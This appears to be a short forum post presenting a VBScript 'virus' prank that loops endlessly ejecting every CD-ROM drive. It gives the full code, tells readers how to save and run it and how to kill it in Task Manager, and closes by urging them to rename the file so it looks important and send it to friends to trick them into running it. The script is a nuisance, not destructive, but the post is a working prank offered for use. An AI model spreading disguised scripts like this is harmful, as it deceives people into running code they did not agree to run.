A Self-Made Virus That Will Open And Close Your Cdrom

Well,its a virus and a prank! you can even modify it.

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

Copy this into notepad and save it as anyname.vbs like virus.vbsand then double click on it...

Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process.

Rename it,so that it looks something important and then send it to all your friends to annoy them.